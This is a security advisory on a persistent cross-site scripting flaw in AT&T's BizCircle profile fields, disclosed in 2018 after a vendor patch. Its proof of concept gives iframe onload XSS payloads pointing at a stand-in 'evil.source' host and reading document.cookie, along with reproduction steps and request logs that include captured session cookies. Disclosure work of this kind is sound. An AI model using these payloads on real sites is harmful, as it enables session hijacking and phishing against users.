AT&T Bizcircle - Persistent Profile Cross Site Vulnerability

Document Title:
===============
AT&T Bizcircle - Persistent Profile Cross Site Vulnerability


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2108

AT&T Reference ID: 1502971499862

Vulnerability Magazine: https://www.vulnerability-db.com/?q=articles/2018/07/05/att-corporation-lab-uncovers-new-details-about-bizcircle-vulnerabilities


Release Date:
=============
2018-07-04


Vulnerability Laboratory ID (VL-ID):
====================================
2108


Common Vulnerability Scoring System:
====================================
4.6


Vulnerability Class:
====================
Cross Site Scripting - Persistent


Current Estimated Price:
========================
1.000€ - 2.000€


Product & Service Introduction:
===============================
AT&T Inc. is an American multinational conglomerate holding company headquartered at Whitacre Tower in downtown Dallas, Texas. 
AT&T is the world's largest telecommunications company. AT&T is also the second largest provider of mobile telephone services 
and the largest provider of fixed telephone services in the United States. The company provides broadband subscription 
television services through Uverse Tv and DirecTV satellite television. Combined with AT&T's legacy U-verse service, this 
also makes AT&T the largest paid television operator. AT&T is the second-largest company in Texas, behind ExxonMobil. AT&T is 
the 11th largest company in the world. AT&T is the largest telecommunications company in the world by revenue. As of 2017, it 
is also the 21st-largest mobile telecom operator in the world, with 138.8 million mobile customers. AT&T was ranked at #4 on 
the 2017 rankings of the world's most valuable brands published by Brand Finance. Since 2012, AT&T has invested more in the 
United States than any other public company.

(Copy of the Homepage: https://en.wikipedia.org/wiki/AT%26T )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered multiple persistent cross site vulnerabilities in the AT&T Bizcircle online service web-application.


Vulnerability Disclosure Timeline:
==================================
2017-08-16: Researcher Notification & Coordination (Benjamin Kunz Mejri)
2017-08-17: Vendor Notification (AT&T Security Department)
2017-08-25: Vendor Response/Feedback (AT&T Security Department)
2017-11-10: Vendor Fix/Patch (AT&T Service Developer Team)
2018-02-10: Security Acknowledgements  (AT&T Security Department)
2018-07-05: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
AT&T Inc
Product: BizCircle - Online Service (Web-Application) 2017 Q3 - Q4


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Authentication Type:
====================
Restricted Authentication (Guest Privileges)


User Interaction:
=================
Low User Interaction


Disclosure Type:
================
Responsible Disclosure


Technical Details & Description:
================================
An input validation issue and multiple cross site vulnerabilities has been discovered in the official AT&T Bizcircle online service web-application. 
The persistent cross site issue allows remote attackers to inject own malicious script codes with persistent attack vector to compromise 
the frontend or backend of the affected web-application.

The vulnerabilities are located in the `/members/att1759500603/profile/` section of the content management system. Attackers are able to inject 
own malicious script code to the `firstname, lastname, name & groups` parameters of the `profile` section on update. An attacker could register 
and then change the firstname and lastname or shared group to a payload that is insecure saved into the database management system. The injected
payload provokes a persistent execution of the injected code in the backend or frontend. Session hijacking, persistent phishing and 
backend/frontend exploitation is possible.

The security risk of the persistent xss vulnerabilities are estimated as medium with a cvss (common vulnerability scoring system) count of 4.6. 
Exploitation of the persistent web vulnerability requires a low privileged web-application user account and only low user interaction. 
Successful exploitation of the vulnerability results in persistent phishing, session hijacking, persistent external redirect 
to malicious sources and client-side manipulation of affected or connected web module context.

Vulnerable Parameter(s):
[+] firstname
[+] lastname
[+] name
[+] groups

Affected Section(s):
[+] Frontend
[+] Backend


Proof of Concept (PoC):
=======================
The vulnerabilities can be exploited by remote attackers with low privileged web-application user account and low user interaction.
For security demonstration or to reproduce the vulnerability follow the instruction and information below to continue.


Manual steps to reproduce ...
1. Register to the att bizcirlce web-application by usage of the register function
2. Login to your account and open the profile section
Note: Start a http session tamper in the browser to preview or record
3. Include the payload to the vulnerable marked input fields (firstname, lastname, name & groups)
4. Save the profile entries by submit of the post method request
5. The execute occurs in the frontend profile section (local), the groups (shared) and the backend (lists mods/admins the registered user data)
6. Successful reproduce of the persistent cross site vulnerability!


Member ID: att1759500603


PoC: Payload
"><iframe>%20%20"><iframe src=evil.source onload=alert(document.cookie)>%20
"><iframe>%20%20"><iframe src=evil.source onload=alert(document.domain)>%20


PoC: Exploitation (Demo)
https://bizcircle.att.com/members/att1759500603/profile/edit/group/1/[Payload Execution]


--- PoC Session Logs ---
Status: 200[OK]
GET https://bizcircle.att.com/members/att1759500603/profile/edit/group/1/ 
Mime Type[text/html]
   Request Header:
      Host[bizcircle.att.com]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Referer[https://bizcircle.att.com/members/att1759500603/]
      Cookie[PHPSESSID=l18mlg2dueco0q3h6kb131eub7; AMCV_55633F7A534535110A490D44%40AdobeOrg=209651070
1%7CMCIDTS%7C17396%7CMCMID%7C26100431646396483062447545331633367848%7CMCAAMLH-1503573649%7C6%7CMCAAMB-
1503573649%7CNRX38WO0n5BH8Th-nqAG_A%7CMCOPTOUT-1502976049s%7CNONE%7CMCAID%7CNONE%7CMCSYNCSOP%7C411-174
03%7CvVersion%7C2.0.0; mbox=session#1502968849133-685067#1502970919|PC#1502968849133-685067.26_19#1504178659; 
AMCVS_55633F7A534535110A490D44%40AdobeOrg=1; _ga=GA1.2.774089946.1502968850; _gid=GA1.2.1647846308.1502968850; 
s_cc=true; bp-activity-oldestpage=1; aam_uuid=26195646366965627042419912699465776394; Successful Registration=true; 
TLTSID=DFFB796CF9727EB3DAD892F1CE4732DB; fsr.s={"v2":1,"v1":1,"rid":"d036702-53861434-b5e4-2910-b41f2",
"cp":{"ufix":"no","ug":"n","platform":"mSite","WLS_TSR":"no"},"to":4.7,"pv":6,"f":1502968971713}; wordpress_logged_in_cae26c4a20b3aee9c355ac89848c9a6c=att1759500603%7C1503141687%7C5r0gGlSD0k4TLZ8DdczeF
GgpYJrrbeqwy9p8pvslaMr%7Cab6915c095b9e9a27373469d6f4cae49510879dab933281d16868d1cf4bd524a; fsr.a=1502969052593; _gat=1]
      Connection[keep-alive]
      Cache-Control[max-age=0]
   Response Header:
      Server[Apache]
      X-Frame-Options[SAMEORIGIN]
      Cache-Control[no-cache, must-revalidate, max-age=0]
      X-UA-Compatible[IE=edge]
      Content-Type[text/html; charset=UTF-8]
      Vary[Accept-Encoding]
      Content-Encoding[gzip]
      Content-Length[19399]
      Connection[keep-alive]

Status: 200[OK]
GET https://bizcircle.att.com/members/att1759500603/profile/edit/group/1/evil.source/ 
Mime Type[text/html]
   Request Header:
      Host[bizcircle.att.com]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Referer[https://bizcircle.att.com/members/att1759500603/profile/edit/group/1/]
      Cookie[PHPSESSID=l18mlg2dueco0q3h6kb131eub7; AMCV_55633F7A534535110A490D44%40AdobeOrg=2096510701
%7CMCIDTS%7C17396%7CMCMID%7C26100431646396483062447545331633367848%7CMCAAMLH-1503573649%7C6%7CMCAAMB-150
3573649%7CNRX38WO0n5BH8Th-nqAG_A%7CMCOPTOUT-1502976049s%7CNONE%7CMCAID%7CNONE%7CMCSYNCSOP%7C411-17403%7
CvVersion%7C2.0.0; mbox=session#1502968849133-685067#1502970967|PC#1502968849133-685067.26_19#1504178707; 
AMCVS_55633F7A534535110A490D44%40AdobeOrg=1; _ga=GA1.2.774089946.1502968850; _gid=GA1.2.1647846308.1502968850; 
s_cc=true; bp-activity-oldestpage=1; aam_uuid=26195646366965627042419912699465776394; 
Successful Registration=true; TLTSID=DFFB796CF9727EB3DAD892F1CE4732DB; fsr.s={"v2":1,"v1":1,"rid":"d036702-53861434-b5e4-2910-b41f2",
"cp":{"ufix":"no","ug":"n","platform":"mSite","WLS_TSR":"no"},"to":4.5,"pv":6,"f":1502969105924}; wordpress_logged_in_cae26c4a20b3aee9c355ac89848c9a6c=att1759500603%7C1503141687%7C5r0gGlSD0k4TLZ8Ddc
zeFGgpYJrrbeqwy9p8pvslaMr%7Cab6915c095b9e9a27373469d6f4cae49510879dab933281d16868d1cf4bd524a; _gat=1]
      Connection[keep-alive]
   Response Header:
      Server[Apache]
      X-Frame-Options[SAMEORIGIN]
      Cache-Control[no-cache, must-revalidate, max-age=0]
      X-UA-Compatible[IE=edge]
      Content-Type[text/html; charset=UTF-8]
      Vary[Accept-Encoding]
      Content-Encoding[gzip]
     Content-Length[19404]
      Connection[keep-alive]

Status: 200[OK]
GET https://bizcircle.att.com/members/att1759500603/profile/edit/group/1/evil.source/ 
Mime Type[text/html]
   Request Header:
      Host[bizcircle.att.com]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Referer[https://bizcircle.att.com/members/att1759500603/profile/edit/group/1/]
      Cookie[PHPSESSID=l18mlg2dueco0q3h6kb131eub7; AMCV_55633F7A534535110A490D44%40AdobeOrg=2096510701%7CM
CIDTS%7C17396%7CMCMID%7C26100431646396483062447545331633367848%7CMCAAMLH-1503573649%7C6%7CMCAAMB-1503573649
%7CNRX38WO0n5BH8Th-nqAG_A%7CMCOPTOUT-1502976049s%7CNONE%7CMCAID%7CNONE%7CMCSYNCSOP%7C411-17403%7CvVersion%7C2.0.0; 
mbox=session#1502968849133-685067#1502970967|PC#1502968849133-685067.26_19#1504178707; AMCVS_55633F7A534535110
A490D44%40AdobeOrg=1; _ga=GA1.2.774089946.1502968850; _gid=GA1.2.1647846308.1502968850; 
s_cc=true; bp-activity-oldestpage=1; aam_uuid=26195646366965627042419912699465776394; 
Successful Registration=true; TLTSID=DFFB796CF9727EB3DAD892F1CE4732DB; fsr.s={"v2":1,"v1":1,"rid":"d036702-53861434-b5e4-2910-b41f2",
"cp":{"ufix":"no","ug":"n","platform":"mSite","WLS_TSR":"no"},"to":4.5,"pv":6,"f":1502969105924}; wordpress_logged_in_cae26c4a20b3aee9c355ac89848c9a6c=att1759500603%7C1503141687%7C5r0gGlSD0k4TLZ8DdczeF
GgpYJrrbeqwy9p8pvslaMr%7Cab6915c095b9e9a27373469d6f4cae49510879dab933281d16868d1cf4bd524a; _gat=1]
      Connection[keep-alive]
   Response Header:
      Server[Apache]
      X-Frame-Options[SAMEORIGIN]
      Cache-Control[no-cache, must-revalidate, max-age=0]
      X-UA-Compatible[IE=edge]
      Content-Type[text/html; charset=UTF-8]
      Vary[Accept-Encoding]
      Content-Encoding[gzip]
      Content-Length[19404]
      Connection[keep-alive]


Reference(s):
https://bizcircle.att.com/
https://bizcircle.att.com/members/
https://bizcircle.att.com/members/att1759500603/
https://bizcircle.att.com/members/att1759500603/profile/
https://bizcircle.att.com/members/att1759500603/profile/edit/
https://bizcircle.att.com/members/att1759500603/profile/edit/group/
https://bizcircle.att.com/members/att1759500603/profile/edit/group/1/


Solution - Fix & Patch:
=======================
The vulnerability has been patched by the at&t developer team of the biz circle team. The issue was part of the official bug bounty program.


Security Risk:
==============
The security risk of the persistent cross site vulnerabilities in the web-application are estimated as medium (CVSS 4.6).


Credits & Authors:
==================
Benjamin K.M. [[email protected]] - https://www.vulnerability-lab.com/show.php?user=Benjamin+K.M.


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=========================
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